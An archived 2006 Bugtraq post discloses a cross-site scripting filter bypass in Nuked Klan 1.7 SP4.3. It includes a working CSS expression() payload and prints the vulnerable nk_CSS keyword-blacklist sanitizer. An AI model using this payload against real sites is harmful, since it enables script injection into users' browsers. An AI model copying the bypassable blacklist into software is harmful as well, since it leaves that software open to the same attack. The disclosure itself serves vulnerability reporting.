lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 30 Aug 2006 09:25:33 +0200
From: Blwood <blwood@...net.be>
To: Bugtraq@...urityfocus.com
Subject: Nuked Klan 1.7 SP4.3 : Function Anti-XSS Bypassed 

// *- BEGIN -*

// By Blwood
// http://blwood.net <http://blwood.net/>

We can bypassed the function anti-xss called  nk_CSS ( nuked.php) using 
like this :


<b id="blwood" style="width:expression(alert(' http://www.blwood.net')) 
<http://www.blwood.net%27%29%29/>"></b>


Here is the function :

function nk_CSS($str)

{
    if ($str != "")
    {
	$str = eregi_replace("content-disposition:","&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#45;&#100;&#105;&#115;&#112;&#111;&#115;&#105;&#116;&#105;&#111;&#110;&#58;",$str);


	$str = eregi_replace("content-type:","&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#45;&#116;&#121;&#112;&#101;&#58;",$str);
	$str = eregi_replace("content-transfer-encoding:","&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#45;&#116;&#114;&#97;&#110;&#115;&#102;&#101;&#114;&#45;&#101;&#110;&#99;&#111;&#100;&#105;&#110;&#103;&#58;",$str);


	$str = eregi_replace("include","&#105;&#110;&#99;&#108;&#117;&#100;&#101;",$str);
	$str = eregi_replace("\<\?","&lt;?",$str);
	$str = eregi_replace("<\?php","&lt;?php",$str);


	$str = eregi_replace("\?\>","?&gt;",$str);
	$str = eregi_replace("script","&#115;&#99;&#114;&#105;&#112;&#116;",$str);
	$str = eregi_replace("eval","&#101;&#118;&#97;&#108;",$str);


	$str = eregi_replace("javascript","&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;",$str);
	$str = eregi_replace("embed","&#101;&#109;&#98;&#101;&#100;",$str);


	$str = eregi_replace("iframe","&#105;&#102;&#114;&#97;&#109;&#101;",$str);
        $str = eregi_replace("refresh", "&#114;&#101;&#102;&#114;&#101;&#115;&#104;", $str);


        $str = eregi_replace("onload", "&#111;&#110;&#108;&#111;&#97;&#100;", $str);
        $str = eregi_replace("onstart", "&#111;&#110;&#115;&#116;&#97;&#114;&#116;", $str);


        $str = eregi_replace("onerror", "&#111;&#110;&#101;&#114;&#114;&#111;&#114;", $str);
        $str = eregi_replace("onabort", "&#111;&#110;&#97;&#98;&#111;&#114;&#116;", $str);


        $str = eregi_replace("onblur", "&#111;&#110;&#98;&#108;&#117;&#114;", $str);
        $str = eregi_replace("onchange", "&#111;&#110;&#99;&#104;&#97;&#110;&#103;&#101;", $str);


        $str = eregi_replace("onclick", "&#111;&#110;&#99;&#108;&#105;&#99;&#107;", $str);
        $str = eregi_replace("ondblclick", "&#111;&#110;&#100;&#98;&#108;&#99;&#108;&#105;&#99;&#107;", $str);


        $str = eregi_replace("onfocus", "&#111;&#110;&#102;&#111;&#99;&#117;&#115;", $str);
        $str = eregi_replace("onkeydown", "&#111;&#110;&#107;&#101;&#121;&#100;&#111;&#119;&#110;", $str);


        $str = eregi_replace("onkeypress", "&#111;&#110;&#107;&#101;&#121;&#112;&#114;&#101;&#115;&#115;", $str);
        $str = eregi_replace("onkeyup", "&#111;&#110;&#107;&#101;&#121;&#117;&#112;", $str);


        $str = eregi_replace("onmousedown", "&#111;&#110;&#109;&#111;&#117;&#115;&#101;&#100;&#111;&#119;&#110;", $str);
        $str = eregi_replace("onmousemove", "&#111;&#110;&#109;&#111;&#117;&#115;&#101;&#109;&#111;&#118;&#101;", $str);


        $str = eregi_replace("onmouseover", "&#111;&#110;&#109;&#111;&#117;&#115;&#101;&#111;&#118;&#101;&#114;", $str);
        $str = eregi_replace("onmouseout", "&#111;&#110;&#109;&#111;&#117;&#115;&#101;&#111;&#117;&#116;", $str);


        $str = eregi_replace("onmouseup", "&#111;&#110;&#109;&#111;&#117;&#115;&#101;&#117;&#112;", $str);
        $str = eregi_replace("onreset", "&#111;&#110;&#114;&#101;&#115;&#101;&#116;", $str);


        $str = eregi_replace("onselect", "&#111;&#110;&#115;&#101;&#108;&#101;&#99;&#116;", $str);
        $str = eregi_replace("onsubmit", "&#111;&#110;&#115;&#117;&#98;&#109;&#105;&#116;", $str);


        $str = eregi_replace("onunload", "&#111;&#110;&#117;&#110;&#108;&#111;&#97;&#100;", $str);
        $str = eregi_replace("document", "&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;", $str);


        $str = eregi_replace("cookie", "&#99;&#111;&#111;&#107;&#105;&#101;", $str);
        $str = eregi_replace("vbscript", "&#118;&#98;&#115;&#99;&#114;&#105;&#112;&#116;", $str);


        $str = eregi_replace("location", "&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;", $str);
        $str = eregi_replace("object", "&#111;&#98;&#106;&#101;&#99;&#116;", $str);


        $str = eregi_replace("vbs", "&#118;&#98;&#115;", $str);
        $str = eregi_replace("href", "&#104;&#114;&#101;&#102;", $str);
        $str = eregi_replace("src", "&#115;&#114;&#99;", $str);


    } 
    return($str);
} 


// *- END -*

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ